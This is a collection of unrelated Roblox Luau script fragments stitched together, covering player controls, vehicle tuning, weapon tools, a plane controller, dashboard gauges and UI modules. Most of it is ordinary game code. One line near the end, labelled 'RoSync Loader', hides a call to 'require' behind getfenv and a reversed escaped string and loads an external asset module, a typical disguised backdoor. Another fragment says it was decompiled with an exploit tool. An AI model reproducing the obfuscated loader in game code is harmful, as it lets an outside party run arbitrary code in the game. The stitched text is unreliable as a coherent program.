function v1.OnCharacterAdded(p21, p22) p21.humanoid = p22:FindFirstChildOfClass("Humanoid"); while not p21.humanoid do p22.ChildAdded:wait(); p21.humanoid = p22:FindFirstChildOfClass("Humanoid"); end; p21:UpdateTouchGuiVisibility(); if p21.humanoidSeatedConn then p21.humanoidSeatedConn:Disconnect(); p21.humanoidSeatedConn = nil; end; p21.humanoidSeatedConn = p21.humanoid.Seated:Connect(function(p23, p24) p21:OnHumanoidSeated(p23, p24); end); end; function v1.OnCharacterRemoving(p25, p26) p25.humanoid = nil; p25:UpdateTouchGuiVisibility(); end; function v1.UpdateTouchGuiVisibility(p27) if p27.touchGui then p27.touchGui.Enabled = not (not p27.humanoid) and not l__UserInputService__4.ModalEnabled; end; end; local u8 = require(script:WaitForChild("TouchJump")); function v1.SwitchToController(p28, p29) if not p29 then if p28.activeController then p28.activeController:Enable(false); end; p28.activeController = nil; p28.activeControlModule = nil; return; end; if not p28.controllers[p29] then p28.controllers[p29] = p29.new(l__Value__2); end; if p28.activeController ~= p28.controllers[p29] then if p28.activeController then p28.activeController:Enable(false); end; p28.activeController = p28.controllers[p29]; p28.activeControlModule = p29; if p28.touchControlFrame and (p28.activeControlModule == v16 or p28.activeControlModule == v15 or p28.activeControlModule == v10) then if not p28.controllers[u8] then p28.controllers[u8] = u8.new(); end; p28.touchJumpController = p28.controllers[u8]; p28.touchJumpController:Enable(true, p28.touchControlFrame); elseif p28.touchJumpController then p28.touchJumpController:Enable(false); end; p28:EnableActiveControlModule(); end; end; function v1.OnLastInputTypeChanged(p30, p31) if u4 == p31 then warn("LastInputType Change listener called with current type."); end; u4 = p31; if u4 == Enum.UserInputType.Touch then local v44, v45 = p30:SelectTouchModule(); if v45 then while not p30.touchControlFrame do wait(); end; p30:SwitchToController(v44); end; elseif u3[u4] ~= nil then local v46 = p30:SelectComputerMovementModule(); if v46 then p30:SwitchToController(v46); end; end; p30:UpdateTouchGuiVisibility(); end; function v1.OnComputerMovementModeChange(p32) local v47, v48 = p32:SelectComputerMovementModule(); if v48 then p32:SwitchToController(v47); end; end; function v1.OnTouchMovementModeChange(p33) local v49, v50 = p33:SelectTouchModule(); if v50 then while not p33.touchControlFrame do wait(); end; p33:SwitchToController(v49); end; end; function v1.CreateTouchGuiContainer(p34) if p34.touchGui then p34.touchGui:Destroy(); end; p34.touchGui = Instance.new("ScreenGui"); p34.touchGui.Name = "TouchGui"; p34.touchGui.ResetOnSpawn = false; p34.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling; p34:UpdateTouchGuiVisibility(); p34.touchControlFrame = Instance.new("Frame"); p34.touchControlFrame.Name = "TouchControlFrame"; p34.touchControlFrame.Size = UDim2.new(1, 0, 1, 0); p34.touchControlFrame.BackgroundTransparency = 1; p34.touchControlFrame.Parent = p34.touchGui; p34.touchGui.Parent = p34.playerGui; end; function v1.GetClickToMoveController(p35) if not p35.controllers[v16] then p35.controllers[v16] = v16.new(l__Value__2); end; return p35.controllers[v16]; end; return v1.new();
-- Inject types
local TypeDefs = require(script.Parent.TypeDefinitions) type CanPenetrateFunction = TypeDefs.CanPenetrateFunction type CanHitFunction = TypeDefs.CanHitFunction type GenericTable = TypeDefs.GenericTable type Caster = TypeDefs.Caster type FastCastBehavior = TypeDefs.FastCastBehavior type CastTrajectory = TypeDefs.CastTrajectory type CastStateInfo = TypeDefs.CastStateInfo type CastRayInfo = TypeDefs.CastRayInfo type ActiveCast = TypeDefs.ActiveCast local TestService = game:GetService("TestService") local table = require(script.Parent.Table) local SignalStatic = {} SignalStatic.__index = SignalStatic SignalStatic.__type = "Signal" -- For compatibility with TypeMarshaller local ConnectionStatic = {} ConnectionStatic.__index = ConnectionStatic ConnectionStatic.__type = "SignalConnection" -- For compatibility with TypeMarshaller export type Signal = { Name: string, Connections: {[number]: Connection}, YieldingThreads: {[number]: BindableEvent} } export type Connection = { Signal: Signal?, Delegate: any, Index: number }
--[[Steering]]
Tune.SteerInner = 70 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 70 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1200 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 7000 -- Steering Aggressiveness
-- ROBLOX deviation END -- ROBLOX deviation: exposing our custom resetSnapshotSerializers
Expect.resetSnapshotSerializers = plugins.resetSerializers
--[[ Classes.Slider This class creates a slider object which can be dragged for different values. Constructors: new(frame [instance], axis [string]) > Slider frames must have the following format: >> SliderFrame >>> Dragger >>> Background > axis defines if the slider is horizontal "x" or vertical "y" Create(axis [string]) > Creates a slider frame from the default, simply define whether it's horizontal "x" or vertical "y". Properties: Frame [instance] > The container frame for the slider. Can be used for positioning and resizing. Interval [number] [0, 1] > Set this to force an interval step on the slider. For example if you only wanted steps of 1/10th then you'd write > Slider.Interval = 0.1 IsActive [boolean] > When true the slider can be interacted with by the user, when false its values can only be set by the developer. TweenClick [boolean] > If true then when the user clicks on the slider the dragger will tween to that target. If not it will be instant. Inverted [boolean] > If true then the value of the slider will be inverted (e.g. when horizontal the right-most position will be zero and left-most 1) > This is useful for when you have a vertical slider as typically users envision the down-most position to be zero. Methods: :Get() [number] > Returns the slider position from 0 to 1 :Set(value [number], doTween [boolean]) [void] > Sets the slider to a specific position or closest possible if interval > 0. If doTween is true then the slider will tween to that position. :Destroy() [void] > Destroys the slider frame and all the events, etc that were running it Events: .Changed:Connect(function(value [number]) > When the slider's position changes this fires the slider's current position .Clicked:Connect(function(value [number]) > When the user clicks somewhere on the slider this fires the clicked position .DragStart:Connect(function() > Fires when the user starts dragging the slider .DragStop:Connect(function() > Fires when the user stops dragging the slider --]]
-- Reload animation
function reload() if not reloading then reloading=true; updateAmmo() local reloadTime = tankStats.ReloadTime.Value; local Timer = 0 for i = 7, 1, -1 do wait(reloadTime/8); Timer = Timer + 1 if Timer >= 2 and Loaded == false then GUI.ReloadSound:Play() Loaded = true end end wait(reloadTime/4); if Timer >= 7 then GUI.Loaded.Visible = true Timer = 0 reloading = false; end end end function fire() if reloading then return end; local APAmmo = tankStats.APAmmo; local HEAmmo = tankStats.HEAmmo; if currRound.Value == "AP" and APAmmo.Value <= 0 then return end if currRound.Value == "HE" and HEAmmo.Value <= 0 then return end GUI.Loaded.Visible = false TFE:FireServer('Fire',parts,currRound,APAmmo,HEAmmo,tankStats) reload(GUI); end
-- Shell physical properties
EjectionForce.PhysProperties = PhysicalProperties.new( 10, -- Density 10, -- Friction 0.1, -- Elasticity 1, -- FrictionWeight 1 -- ElasticityWeight )
--attachmentWorldCFrame = part1.CFrame * attachment.CFrame --how attachment.WorldCFrame is calculated --inverse both sides by attachment.CFrame --attachmentWorldCFrame * attachment.CFrame:Inverse() = part1.CFrame
local part1 = script.Parent local attachment1 = script.Parent.Attachment local attachment2 = script.Parent.Parent.Partw.Attachment part1.CFrame = attachment2.WorldCFrame * attachment1.CFrame:Inverse()
------------------------------------------------------------------------
local cameraPos = Vector3.new() local cameraRot = Vector2.new() local cameraFov = 0 local velSpring = Spring.new(VEL_STIFFNESS, Vector3.new()) local panSpring = Spring.new(PAN_STIFFNESS, Vector2.new()) local fovSpring = Spring.new(FOV_STIFFNESS, 0)
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local launch = head.Position + 10 * v local missile = Pellet:clone() Tool.Handle.Mesh:clone().Parent = missile missile.Position = launch missile.Velocity = v * 80 local force = Instance.new("BodyForce") force.force = Vector3.new(0,40,0) force.Parent = missile if (turbo) then missile.Velocity = v * 100 force.force = Vector3.new(0,45,0) end missile.StarScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vCharacter creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function rndDir() return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end if loaded==true then loaded=false local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit fire(lookAt, isTurbo(character) ) if (isTurbo(character) == true) then wait(.1) Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) fire(lookAt * .9 + rndDir() * .1, isTurbo(character) ) Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) fire(lookAt * .8 + rndDir() * .2, isTurbo(character) ) wait(.1) else wait(.3) end Tool.Enabled = true elseif loaded==false then Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6 Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6 wait(.1) Tool.Handle.Transparency=0 wait(.1) loaded=true end Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
-- Decompiled with the Synapse X Luau decompiler.
local l__Query__1 = script.Parent.Search.Query; local l__Container__2 = script.Parent.Container; function UpdateContainer() local v1 = string.lower(l__Query__1.Text); local v2, v3, v4 = pairs(l__Container__2:GetChildren()); while true do local v5, v6 = v2(v3, v4); if v5 then else break; end; v4 = v5; if v6:IsA("ImageButton") then if v1 ~= "" then if string.find(string.lower(v6:FindFirstChild("Title").Text), v1) then v6.Visible = true; else v6.Visible = false; end; else v6.Visible = true; end; end; end; end; l__Query__1.Changed:Connect(UpdateContainer);
--[[ Classes.CheckboxLabel This class creates a single checkbox label Constructors: new(frame [instance]) > Create(text) > Creates a CheckboxLabel from the text provided. Properties: Frame [instance] > The container frame for the CheckboxLabel. Can be used for positioning and resizing. Button [instance] > The button used to track when the user clicks on the checkbox button or not Methods: :GetValue() [boolean] > Returns whether the checkbox is selected or not. :SetValue(bool [boolean]) [void] > Sets if the checkbox is selected or not. :Destroy() [void] > Destroys the RadioButtonLabel and all the events, etc that were running it. Events: .Changed:Connect(function(bool [boolean]) > Fired when the user clicks the checkbox. --]]
--
script.Parent.OnServerEvent:Connect(function(p) wait(1) local Character = p.Character local Humanoid = Character.Humanoid local RootPart = Character.HumanoidRootPart local Slash1 = RS.Effects.Knives3:Clone() script.Attack:Play() script.Parent.Parent.Parent.Handle.Transparency = 0 script.Parent.Parent.Parent.Handle.Part.Attachment.FX:Emit(15) Slash1.Parent = FX Slash1.CFrame = RootPart.CFrame * CFrame.new(0,0,-3) local BV = Instance.new("BodyVelocity",Slash1) BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge) BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 70 Slash1.Touched:Connect(function(hit) if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then hit.Parent.Humanoid:TakeDamage(Damage) local HitEffect = Effects.HitFx.Attachment:Clone() local RootPart2 = hit.Parent.HumanoidRootPart HitEffect.Parent = RootPart2 for _,Particles in pairs(HitEffect:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles:Emit(Particles:GetAttribute("EmitCount")) end end HitEffect.Hit:Play() local vel = Instance.new("BodyVelocity", RootPart2) vel.MaxForce = Vector3.new(1,1,1) * 1000000; vel.Parent = RootPart2 vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0 vel.Name = "SmallMoveVel" game.Debris:AddItem(vel,.3) Slash1:Destroy() end wait(1) BV:Destroy() for _,Particles in pairs(Slash1.Part.Parent:GetDescendants()) do if Particles:IsA("ParticleEmitter") then Particles.Enabled = false end end Slash1.PointLight.Enabled = false end) end)
-- EXTRA --
CS:GetInstanceAddedSignal(Tag):Connect(function(v) if v:IsA("Model") then v:SetAttribute("Status",0) RagdollModule:Setup(v) end end)
-- Sets the mass of the specified part by adjusting its density so that all -- speeders will have the same mass (using static _DENSITY and _VOLUME)
local function SetMass(part) local volume = part.Size.X * part.Size.Y * part.Size.Z local newDensity = _DENSITY * _VOLUME / volume -- Defaults except newDensity (density, friction, elasticity) part.CustomPhysicalProperties = PhysicalProperties.new(newDensity, 0.3, 0.5) end -- SetMass() local function HandleCollision(collidedPart, part, self) local RaceTrack = workspace:FindFirstChild("Racetrack") local EnvironmentAssets = workspace:FindFirstChild("Environment Assets") local Plants = EnvironmentAssets:FindFirstChild("Plants") if not collidedPart:IsDescendantOf(self.speeder) and not collidedPart:IsDescendantOf(RaceTrack) and not collidedPart:IsDescendantOf(Plants) and not (collidedPart == workspace.SpeederSpawnLocation) and not PhysicsService:CollisionGroupContainsPart(_SPEEDEROBJECTSCOLLISIONGROUP, collidedPart) then -- Create particle effect local particle = Explosion:Clone() particle.CFrame = part.CFrame particle.Parent = workspace character:Destroy() ExplosionSound:Play() local planeGui = PlayerGui:FindFirstChild("DesktopGui") or PlayerGui:FindFirstChild("ConsoleGui") or PlayerGui:FindFirstChild("MobileGui") if planeGui then planeGui.Enabled = false end local emitterChildren = particle:GetChildren() for _, child in pairs(emitterChildren) do -- If the child is a particle, then cause it to emit if child:IsA("ParticleEmitter") then child:Emit(10) end end -- Destroy particle after PARTICLE_DURATION seconds spawn(function() wait(PARTICLE_DURATION) particle:Destroy() end) -- Convert speeder to player spawn(function() wait(2) PlayerConverter:SpeederToPlayer(false) end) end end -- handleCollisions() local function SetupCollisionDetection(parent, self) for _,part in pairs(parent:GetChildren()) do if (part:IsA("BasePart") or part:IsA("MeshPart")) and part.Name ~= "Head" and part.Name ~= "UpperTorso" and part.Name ~= "Arrow" then part.Touched:Connect(function(collidedPart) HandleCollision(collidedPart, part, self) end) SetupCollisionDetection(part, self) end end end -- setupCollisionDetection()
-- local throttleNeeded =
animationParts.Wings.WingFlex:FireServer() local stallLine = ((stallSpeed/math.floor(currentSpeed+0.5))*(stallSpeed/max)) stallLine = (stallLine > 1 and 1 or stallLine) panel.Throttle.Bar.StallLine.Position = UDim2.new(stallLine,0,0,0) panel.Throttle.Bar.StallLine.BackgroundColor3 = (stallLine > panel.Throttle.Bar.Amount.Size.X.Scale and Color3.new(1,0,0) or Color3.new(0,0,0)) if (change == 1) then currentSpeed = (currentSpeed > desiredSpeed and desiredSpeed or currentSpeed) -- Reduce "glitchy" speed else currentSpeed = (currentSpeed < desiredSpeed and desiredSpeed or currentSpeed) end local tax,stl = taxi(),stall() if ((lastStall) and (not stl) and (not tax)) then -- Recovering from a stall: if ((realSpeed > -10000) and (realSpeed < 10000)) then currentSpeed = realSpeed else currentSpeed = (stallSpeed+1) end end lastStall = stl move.velocity = (main.CFrame.lookVector*currentSpeed) -- Set speed to aircraft local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))*maxBank) -- My special equation to calculate the banking of the plane. It's pretty simple actually bank = (bank < -maxBank and -maxBank or bank > maxBank and maxBank or bank) if (tax) then animationParts.Wings.WingStraight:FireServer() if (currentSpeed < 2) then -- Stop plane from moving/turning when idled on ground move.maxForce = Vector3.new(0,0,0) gyro.maxTorque = Vector3.new(0,0,0) else move.maxForce = Vector3.new(math.huge,0,math.huge) -- Taxi gyro.maxTorque = Vector3.new(0,math.huge,0) gyro.cframe = CFrame.new(main.Position,m.Hit.p) end elseif (stl) then move.maxForce = Vector3.new(0,0,0) -- Stall gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank))) else move.maxForce = Vector3.new(math.huge,math.huge,math.huge) -- Fly gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) gyro.cframe = (m.Hit*CFrame.Angles(0,0,math.rad(bank))) end if ((altRestrict) and (main.Position.y < altMin)) then -- If you have altitude restrictions and are below the minimun altitude, then make the plane explode plane.AutoCrash.Value = true end if main.Position.Y > 1000 then animationParts.Wings.WingFlex:FireServer() end local bank = ((((m.ViewSizeX/2)-m.X)/(m.ViewSizeX/2))) -- My special equation to calculate the banking of the plane. It's pretty simple actually local pitch = (((m.ViewSizeY/2)-m.Y)/(m.ViewSizeY/2)) local Control1 = 0.3*pitch local Control2 = 0.5*-bank local Control3 = 0.2*bank local Control4 = 1*bank local Control5 = 0.2*pitch local Control6 = 0.2*bank animationParts.ControlFE:FireServer(Control1,Control2,Control3,Control4,Control5,Control6) main.FE.ThrottleFE:FireServer(throttle) updateGui(tax,stl) -- Keep the pilot informed! wait() end end function CamChange() if camtype == 1 then game.Workspace.CurrentCamera.CameraSubject = mainParts.Camera workspace.CurrentCamera.CameraType = Enum.CameraType.Custom elseif camtype == 2 then game.Workspace.CurrentCamera.CameraSubject = mainParts.Camera workspace.CurrentCamera.CameraType = Enum.CameraType.Attach elseif camtype == 3 then game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid workspace.CurrentCamera.CameraType = Enum.CameraType.Attach end end game:GetService("UserInputService").InputBegan:Connect(function(key, gameProcessedEvent) if not gameProcessedEvent then if key.KeyCode == Enum.KeyCode.Z then if camtype == 1 then camtype = 2 CamChange() elseif camtype == 2 then camtype = 3 CamChange() elseif camtype == 3 then camtype = 1 CamChange() end end end end) function PilotIn() -- Initial setup selected,script.Parent.CurrentSelect.Value = true,true m = player:GetMouse() mouseSave = m CamChange() m.Icon = "http://www.roblox.com/asset/?id=2763570264" -- Mouse icon used in Perilous Skies delay(0,function() fly(m) end) -- Basically a coroutine m.KeyDown:connect(function(k) if (not flying) then return end k = k:lower() if (k == keys.engine.key) then on = (not on) main.FE.OnFE:FireServer() -- FE if (not on) then throttle = 0 main.FE.OffFE:FireServer() -- FE end elseif (k == keys.landing.key) then main.FE.GearFE:FireServer() -- FE elseif (k:byte() == keys.spdup.byte) then keys.spdup.down = true delay(0,function() while ((keys.spdup.down) and (on) and (flying)) do throttle = (throttle+throttleInc) throttle = (throttle > 1 and 1 or throttle) wait() end end) elseif (k:byte() == keys.spddwn.byte) then keys.spddwn.down = true delay(0,function() while ((keys.spddwn.down) and (on) and (flying)) do throttle = (throttle-throttleInc) throttle = (throttle < 0 and 0 or throttle) wait() end end) end end) m.KeyUp:connect(function(k) if (k:byte() == keys.spdup.byte) then keys.spdup.down = false elseif (k:byte() == keys.spddwn.byte) then keys.spddwn.down = false end end) end function deselected(forced) selected,script.Parent.CurrentSelect.Value = false,false game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid gui.Parent = nil flying = false pcall(function() if on == false then move.maxForce = Vector3.new(0,0,0) if (taxi()) then gyro.maxTorque = Vector3.new(0,0,0) end end end) if (forced) then if (mouseSave) then mouseSave.Icon = "" -- If you remove a tool without the actual deselect event, the icon will not go back to normal. This helps simulate it at the least wait() end script.Parent.Deselect1.Value = true -- When this is triggered, the Handling script knows it is safe to remove the tool from the player end end player.Character.Humanoid.Jumping:Connect(deselected) script.Parent.Deselect0.Changed:connect(function() -- When you get out of the seat while the tool is selected, Deselect0 is triggered to True if (script.Parent.Deselect0.Value) then deselected(true) end end) PilotIn()
-- NOTE: To me, this appears a bit 'hackish' so I can't -- promise that it will always work!
local noJump = script.NoJump:Clone() script.NoJump:Destroy() function CharacterSpawned(char) local noJ = noJump:Clone() noJ.Parent = char Delay(0.2, function() noJ.Disabled = false end) end function PlayerEntered(player) player.CharacterAdded:connect(CharacterSpawned) end for _,v in pairs(game.Players:GetPlayers()) do PlayerEntered(v) end game.Players.PlayerAdded:connect(PlayerEntered)
--[=[ Cleans up the service bag and all services that have been initialized in the service bag. ]=]
function ServiceBag:Destroy() local super = getmetatable(ServiceBag) self._destroying:Fire() local services = self._services local key, service = next(services) while service ~= nil do services[key] = nil if service.Destroy then service:Destroy() end key, service = next(services) end super.Destroy(self) end return ServiceBag
--[[** <description> Saves the data to the data store. Called when a player leaves. </description> **--]]
function DataStore:Save() local success, result = self:SaveAsync():await() if success then print("saved", self.Name) else error(result) end end
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",gauges.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = gauges.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",gauges.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = gauges.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) values.RPM.Changed:connect(function() gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000)) end) local _TCount = 0 if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end values.Boost.Changed:connect(function() local boost = math.floor(values.Boost.Value) if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount)) gauges.PSI.Text = tostring(math.floor(boost).." PSI") end) else gauges.Boost:Destroy() end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,170/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.TCSActive.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = true gauges.TCS.TextColor3 = Color3.new(1,0,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.TCS.Visible = false end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = false end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true end else if gauges.TCS.Visible then gauges.TCS.Visible = false end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,170/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.ABSActive.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(1,0,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.ABS.Visible = false end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = false end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true end else if gauges.ABS.Visible then gauges.ABS.Visible = false end end end) function PBrake() gauges.PBrake.Visible = values.PBrake.Value end values.PBrake.Changed:connect(PBrake) function Gear() if values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif values.TransmissionMode.Value == "Semi" then gauges.TMode.Text = "S/T" gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else gauges.TMode.Text = "M/T" gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end values.TransmissionMode.Changed:connect(Gear) values.Velocity.Changed:connect(function(property) gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) gauges.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(gauges.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local gui = client.UI.Prepare(script.Parent.Parent) local frame = gui.Frame local frame2 = frame.Frame local msg = frame2.Message local ttl = frame2.Title local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time if not data.Message or not data.Title then gTable:Destroy() end ttl.Text = title msg.Text = message local function fadeOut() for i = 1,12 do msg.TextTransparency = msg.TextTransparency+0.05 ttl.TextTransparency = ttl.TextTransparency+0.05 msg.TextStrokeTransparency = msg.TextStrokeTransparency+0.05 ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+0.05 frame2.BackgroundTransparency = frame2.BackgroundTransparency+0.05 service.Wait("Stepped") end service.UnWrap(gui):Destroy() end gTable.CustomDestroy = function() fadeOut() end spawn(function() local sound = Instance.new("Sound",service.LocalContainer()) sound.SoundId = "rbxassetid://7152561753" sound.Volume = 0.3 wait(0.1) sound:Play() wait(1) sound:Destroy() end) gTable.Ready() frame:TweenSize(UDim2.new(0, 350, 0, 150), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.2) if not tim then local _,time = message:gsub(" ","") time = math.clamp(time/2,4,11)+1 wait(time) else wait(tim) end fadeOut() end
--[[ Last synced 10/10/2022 07:20 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--Allows users to do /w displayName along with /w userName, only works if PlayerDisplayNamesEnabled is 'true'
module.WhisperByDisplayName = false local ChangedEvent = Instance.new("BindableEvent") local proxyTable = setmetatable({}, { __index = function(tbl, index) return module[index] end, __newindex = function(tbl, index, value) module[index] = value ChangedEvent:Fire(index, value) end, }) rawset(proxyTable, "SettingsChanged", ChangedEvent.Event) return proxyTable
